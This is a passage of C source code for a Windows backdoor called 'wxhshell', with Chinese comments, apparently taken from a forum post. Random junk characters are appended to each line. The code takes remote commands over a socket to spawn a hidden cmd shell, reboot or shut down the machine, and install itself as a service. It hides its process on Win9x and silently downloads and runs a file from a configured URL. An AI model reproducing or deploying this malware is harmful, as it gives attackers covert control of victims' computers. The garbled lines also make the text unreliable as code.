    switch(cmd[0]) { xpU7ZY  
  C3]"y7  
  // 帮助 ;h-W&i7  
  case '?': { 7~I*u6zY  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); t/kMV6  
    break; }Z,xF`  
  } \{@n >Mh  
  // 安装 Gkr]8J  
  case 'i': { `xq/<U;i  
    if(Install()) C5F=J8pY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )&") J}@  
    else -Gyj]v5y`c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .,9e~6}  
    break; n | M~C\*  
    } %0gcNk"=  
  // 卸载 }t FRl  
  case 'r': { S=@bb$4-T  
    if(Uninstall()) }<9IH%sgF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ] oMtqkiR  
    else eJvNUBDSH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  n$u@v(I  
    break; (Ev=kO  
    } '| 6ZPv&N  
  // 显示 wxhshell 所在路径 <Rb[0E$  
  case 'p': { L|*0 A=6  
    char svExeFile[MAX_PATH]; Dga;GYx  
    strcpy(svExeFile,"\n\r"); F*['1eAmdY  
      strcat(svExeFile,ExeFile); 11g_!X -g@  
        send(wsh,svExeFile,strlen(svExeFile),0); I;g>r8N-Bu  
    break; v.q`1D1=t  
    } 0zHMtC1 ,  
  // 重启 |lG7/\A  
  case 'b': { G &QGQ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /7CV7=^d,  
    if(Boot(REBOOT)) tYk!Y/O}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w2(pgWed  
    else { A0l-H/l7  
    closesocket(wsh); ]F#}8$  
    ExitThread(0); '~\\:37+  
    } &*YFK/]  
    break; 2e<u/M21>  
    } y7ZYo7avg  
  // 关机 _Oc(K "v  
  case 'd': { _wp_y-"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); EZee kxs  
    if(Boot(SHUTDOWN)) TZ+- >CG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =H_vRd  
    else { (~ `?_  
    closesocket(wsh); Jmml2?V-c  
    ExitThread(0); qGXY  
    } 8t5o&8v  
    break; -FGM>~x  
    } /7fD;H^*  
  // 获取shell ' 5xvR G  
  case 's': { g@2f& m  
    CmdShell(wsh); M->BV9  
    closesocket(wsh); L']"I^( N  
    ExitThread(0); &`%J1[dy  
    break; bn#'o(Lp  
  } s J{J@/5  
  // 退出 \n>7T*iM&  
  case 'x': { WdZ_^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]k# iA9I  
    CloseIt(wsh); hQ@E2Xsv  
    break; .gclE~h.  
    } EGysA{o"X  
  // 离开 EpU}~vC9C  
  case 'q': { )_a;xB` S(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); k~XDwmt;  
    closesocket(wsh); ''?iJFR  
    WSACleanup(); ^:u-wr8?{  
    exit(1); x+8%4]u`  
    break; p~3 (nk<+  
        } j_{f(.5  
  } H#/Hs#  
  } ;-Ki`x.oJ  
~Z:)Y*  
  // 提示信息 ufn% sA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7ND4Booul  
} L-DL)8;`  
  } fl}! V4  
ZKTY1JW_  
  return; 8.zYa(< 2  
} }Y!v"DO#Q*  
T$"sw7<  
// shell模块句柄 -x VZm8y  
int CmdShell(SOCKET sock) W P9PX  
{ hYbaVE  
STARTUPINFO si; nt_FqUJ  
ZeroMemory(&si,sizeof(si)); W+I""I*mV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bk|?>yd  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !<vy!pXg  
PROCESS_INFORMATION ProcessInfo; /d*[za'0  
char cmdline[]="cmd"; p5aqlYb6r  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $U4[a:  
  return 0; Vtv~jJ{m  
} ]YrgkC35  
9T_fq56Oh6  
// 自身启动模式 rtdEIk  
int StartFromService(void)  Pm"nwm  
{ eX$RD9 H  
typedef struct T,9pd;k  
{ AD~_n ^  
  DWORD ExitStatus; B8~bx%)3T  
  DWORD PebBaseAddress; zyB>peAp6j  
  DWORD AffinityMask; INEE 37%  
  DWORD BasePriority; ~wQ M ?h  
  ULONG UniqueProcessId; 'Ll'8 ps  
  ULONG InheritedFromUniqueProcessId; S.; ahce  
}   PROCESS_BASIC_INFORMATION; Z.b?Jzj  
W1JvLU5L*r  
PROCNTQSIP NtQueryInformationProcess; @ :}la  
! NJGW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; TDX~?> P  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +45.fo  
'?Xf(6o1  
  HANDLE             hProcess; ^fj30gw7\5  
  PROCESS_BASIC_INFORMATION pbi; ct@3]  
XzBlT( `w  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #sE: xIR  
  if(NULL == hInst ) return 0; #y f  
&ZL4/e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); aA]wFZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :W#?U yo  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D `av9I  
L;=3n[^x  
  if (!NtQueryInformationProcess) return 0; >avkiT2  
X]_9g[V  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Gi\Z"MiBZ  
  if(!hProcess) return 0; bPIo9clq  
p_i',5H(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; QJSi|&Rx&?  
 K{9  
  CloseHandle(hProcess); +k V$ @qH  
)"J1ET,z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uFuP%f!yY  
if(hProcess==NULL) return 0; ?CldcxM#  
9&zQ 5L>  
HMODULE hMod; sJMpF8   
char procName[255]; WidLUv   
unsigned long cbNeeded; y!T8(  
j_.tg7X  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R5xV_;wD  
MeYu  
  CloseHandle(hProcess); %I;uqf  
h!`KX2~  
if(strstr(procName,"services")) return 1; // 以服务启动 yQ !keGj  
N|%X/UjZ2.  
  return 0; // 注册表启动  `7oYXk  
} )"]( ?V  
a1EQ.u  
// 主模块 w~3z) ;  
int StartWxhshell(LPSTR lpCmdLine) 1.5R`vKn]  
{ I%{ 1K+V/  
  SOCKET wsl; LfJMSscfv  
BOOL val=TRUE; eH~T PH  
  int port=0; rP#&WSLVj  
  struct sockaddr_in door; </b_Rar  
%pLqX61t=  
  if(wscfg.ws_autoins) Install(); S263h(H  
Gr'|nR8  
port=atoi(lpCmdLine); NZ?dJ"eq7  
U?ZWDr"*`w  
if(port<=0) port=wscfg.ws_port; E)|Bl>  
fOdX2{7m  
  WSADATA data; 7d/I"?=|rA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5lyHg{iqD  
%~M#3Ywa  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ] G^9PZ-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \(}pm#O  
  door.sin_family = AF_INET; .EC~o  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y?-Ef sK  
  door.sin_port = htons(port); {"*_++|  
pb G5y7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j=c< Lo`  
closesocket(wsl); LP/SblE  
return 1; Sbeq%Iwm.  
} CdMV(  
x`I"%pG  
  if(listen(wsl,2) == INVALID_SOCKET) { CF v]wS  
closesocket(wsl); 30<_`  
return 1; >DN^',FEm  
} 3S1{r )[j  
  Wxhshell(wsl); t#%J=zF{  
  WSACleanup(); ,t!I%r  
m}f{o  
return 0; !3{. V\P)  
d$8K,-M  
} u>:j$@56  
NErvX/qK  
// 以NT服务方式启动 +??pej]Rp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?O"zp65d(  
{ ^gkKk&~A5?  
DWORD   status = 0; e7tio!  
  DWORD   specificError = 0xfffffff; umt`0m. :  
E(&zH;?_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; pD }b$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; TmK8z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?A04qk  
  serviceStatus.dwWin32ExitCode     = 0; qE8Di\?  
  serviceStatus.dwServiceSpecificExitCode = 0; $ab{GxmX'4  
  serviceStatus.dwCheckPoint       = 0; phB d+zQc  
  serviceStatus.dwWaitHint       = 0; m_FTg)_=  
shO4>Ha  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D[6wMep^n  
  if (hServiceStatusHandle==0) return; $.31<@T7  
'v=BAY=Ef  
status = GetLastError(); ap,zC)[  
  if (status!=NO_ERROR) MZqHL4<|  
{ ,XI=e=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; g4{0  
    serviceStatus.dwCheckPoint       = 0; gZ-:4G|J  
    serviceStatus.dwWaitHint       = 0; 0.c9 6&  
    serviceStatus.dwWin32ExitCode     = status; Sy<io@df  
    serviceStatus.dwServiceSpecificExitCode = specificError; rbs&A{i  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); uo*lW2&U  
    return; Q.\vN-(  
  } "!uS!BI?  
T5}5uk9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  )\kNufP  
  serviceStatus.dwCheckPoint       = 0; n57mh5mixM  
  serviceStatus.dwWaitHint       = 0; 9$}> O]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :XTxrYt28  
} &Aym@G|k?  
[E"3 ?p  
// 处理NT服务事件,比如:启动、停止 nFe  
VOID WINAPI NTServiceHandler(DWORD fdwControl) yo$A0Ti!w  
{ -y[y.#o  
switch(fdwControl) "{3MXAFe  
{ Ns#L9T#  
case SERVICE_CONTROL_STOP: !3o/c w9  
  serviceStatus.dwWin32ExitCode = 0; C4t~k  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; EW3--33s  
  serviceStatus.dwCheckPoint   = 0; / Xv@g$  
  serviceStatus.dwWaitHint     = 0; 7HL23Vr k  
  { >5zD0!bA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ABL5T-*]  
  } 7M_GGjP  
  return; \jS^+Xf?^  
case SERVICE_CONTROL_PAUSE: `6LV XDR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3$BO=hI/-  
  break; jS5K:yx<  
case SERVICE_CONTROL_CONTINUE: A0Q1"b=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; J7~Kjl  
  break; =$ubSfx  
case SERVICE_CONTROL_INTERROGATE: NxB/U_j  
  break; ;=@?( n  
}; ?%/*F<UVQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ''k}3o.K[  
} '*t<g@2$  
@V+KL>Qw  
// 标准应用程序主函数 5d}bl{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,4}s 1J#  
{ p%/lP{  
[|YJg]i-  
// 获取操作系统版本 H>"P]Y)oX  
OsIsNt=GetOsVer(); wy:euKB~   
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?ZkVk=t?  
q^~w:$^ U  
  // 从命令行安装 o[S Mt  
  if(strpbrk(lpCmdLine,"iI")) Install(); `_"?$ v2F  
C\|HN=2eh  
  // 下载执行文件 2d<`dQY{l3  
if(wscfg.ws_downexe) { Xob(4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D2io3Lo$ov  
  WinExec(wscfg.ws_filenam,SW_HIDE); }/g1  
} db3.X~Cn#s  
'lgS) m  
if(!OsIsNt) { dbF9%I@  
// 如果时win9x,隐藏进程并且设置为注册表启动 5j _[z|W2  
HideProc(); J`wx72/-ZW  
StartWxhshell(lpCmdLine); U;gy4rj  
} k_Lv\'Ok  
else HD z"i  
  if(StartFromService()) 9'KOc5@l^  
  // 以服务方式启动 H{_6e6`e.  
  StartServiceCtrlDispatcher(DispatchTable); fvG4K(  
else L_!}R  
  // 普通方式启动 Kn2W{*wD  
  StartWxhshell(lpCmdLine); _cJ\A0h^  
x7xQrjE  
return 0; C.se/\PE  
}
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只看该作者 1 发表于: 2006-10-10
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